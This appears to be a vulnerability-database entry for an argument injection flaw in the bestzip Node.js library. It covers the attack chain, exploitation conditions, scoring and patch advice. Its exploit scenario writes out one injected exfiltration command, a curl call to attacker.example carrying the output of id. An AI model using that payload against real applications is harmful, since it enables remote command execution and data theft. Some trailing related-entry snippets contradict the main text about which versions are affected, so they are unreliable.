Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessSupply hyphen-prefixed filenames to application input
-
DeliveryApplication forwards raw paths to bestzip API
-
Exploitbestzip omits -- delimiter in zip argument list
-
Executionzip interprets -T/-TT entries as test-mode options
-
Impactzip executes attacker-specified command via shell post-archive
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Argument sanitization
|
| Exploitation Conditions | Exploitation requires all of the following: the target application uses the bestzip npm package, attacker-controlled values are accepted as the source-paths argument to the bestzip API without stripping entries that begin with a hyphen, and the host system has a standard zip binary installed with -T/-TT support (present in virtually all distribution packages of zip). The injected command executes as a post-archive test hook - the archive write must complete successfully before the command runs, meaning a failure to create the archive prevents execution. Exploitation is blocked by: applications that enumerate or whitelist acceptable source filenames, applications that resolve and sanitize paths before forwarding them, environments where the zip binary is absent or replaced with a minimal implementation lacking -TT support, and deployments that run the Node.js process in a sandboxed environment (e.g., seccomp, containers with restricted syscalls) that prevents child process spawning. |
| Impact | The VulnCheck-sourced CVSS 4.0 base score of 8.6 assigns AV:L (local attack vector) with PR:N (no privileges), VC:H/VI:H/VA:H, reflecting the full confidentiality, integrity, and availability impact on the vulnerable system. The AV:L classification is conservative; many realistic deployments expose the vulnerable code path to remote attackers via web application file-upload interfaces, in which case the effective attack surface is network-reachable. No EPSS score was provided in the intelligence data, and the vulnerability is absent from the CISA KEV catalog, indicating no confirmed mass exploitation at time of analysis. No proof-of-concept exploit code was identified, though the exploit mechanism relies on documented, standard zip behavior that is straightforward to replicate. Real-world risk is strongly context-dependent: only applications that accept untrusted filenames and pass them unmodified to bestzip are exploitable. CVSS indicates no authentication requirement (PR:N), consistent with scenarios where the calling application's input surface is unauthenticated. The combination of high impact, no authentication, and a simple exploit mechanic makes this a meaningful risk for affected deployments despite the absence of KEV or POC evidence. |
| Exploit ScenarioDerived | An attacker uploading files to a web service supplies three items named '-T', '-TT', and a shell command string such as 'curl attacker.example/exfil?d=$(id)'. The application, without stripping leading hyphens, calls bestzip to archive the uploaded files. bestzip passes these names as positional arguments to zip, which reads -T and -TT as option flags and, upon finishing the archive, executes the supplied shell command in the security context of the Node.js server process. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Aug 26, 2026
Argument injection in bestzip, a Node.js npm library wrapping the system zip binary, enables arbitrary shell command execution when attacker-controlled source paths are passed to its API. Because bestzip omits the POSIX '--' end-of-options delimiter when building the zip command line, any source path beginning with a hyphen is interpreted by zip as a flag rather than a filename - zip's built-in -T/-TT test-command feature then executes a caller-supplied command through a shell after archive creation. No public exploit code or CISA KEV listing has been identified at time of analysis; vendor-released patches exist as versions 2.2.6 and 3.0.2.
RemediationAI
Upgrade bestzip to version 2.2.6 (2.x line) or 3.0.2 (3.0.x line), which introduce the '--' delimiter between zip options and operands, eliminating the argument injection vector; details are in the GitHub Security Advisory at https://github.com/nfriedly/node-bestzip/security/advisories/GHSA-p87m-9567-rgcc. If an immediate upgrade is blocked by dependency constraints, the most reliable compensating control is to validate all source paths before passing them to bestzip, rejecting any entry whose resolved basename begins with a hyphen character - this prevents injected option flags from reaching zip. Alternatively, restrict source paths to application-controlled enumerations and never interpolate raw user input as a bestzip source argument. Both workarounds place sanitization responsibility on the calling application and are error-prone; upgrading the library is strongly preferred.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
bestzip (cpe:2.3:a:nfriedly:bestzip:*:*:*:*:*:*:*:*, npm package at npmjs.com/package/bestzip) is a Node.js convenience wrapper that programmatically constructs argument arrays for the host system's zip binary and invokes it via a child process. The root cause is CWE-88 (Improper Neutralization of Argument Delimiters in a Command - 'Argument Injection'): the library concatenates destination archive path and caller-supplied source paths into the argument list without inserting the POSIX '--' separator that signals the end of options. The zip utility's -T flag triggers post-write archive testing, and -TT specifies the command used for that test; inserting both as source entries alongside a command string causes zip to invoke that command through a shell on completion. The attack surface is indirect - exploitation passes through an intermediary application that forwards user-supplied names to bestzip.
Know when Bestzip gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Network-reachable applications passing unsanitized user filenames to bestzip allow unauthenticated remote RCE with scope change into spawned shell process.
Primary rating from Vendor (VulnCheck).
CVSS VectorVendor: VulnCheck
Lifecycle Timeline
2DescriptionCVE.org
bestzip builds the argument list for the system zip utility without separating options from operands. The destination archive path and the caller-supplied source paths are passed to the child process with no -- delimiter between them, so any source entry beginning with a hyphen is interpreted by zip as an option rather than a file name. zip accepts -T to test the finished archive and -TT to name the command used to perform that test, so a source list containing those two entries and a command string causes zip to run that command through a shell once the archive has been written. An application that passes a file name or path it received from an untrusted source into the bestzip API therefore executes a command of the supplier's choosing. Versions 2.2.6 and 3.0.2 add the delimiter.
Executive ViewAI
An argument injection vulnerability in the bestzip Node.js library (CVSS 8.6) enables remote code execution when untrusted file paths are processed by the API, creating direct risk of server compromise and data breach. Organizations using bestzip in production must remediate immediately to protect application infrastructure and customer data.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.
The package bestzip before 2.1.7 are vulnerable to Command Injection via the options param. Rated critical severity (CVS
Argument injection in bestzip's nativeZip function (versions 2.2.6 and 3.0.2) allows attackers who control the destinati
EUVD-2026-66601
NVD
CVE.org
EPSS
Vulnrichment
GitHub
Exploit-DB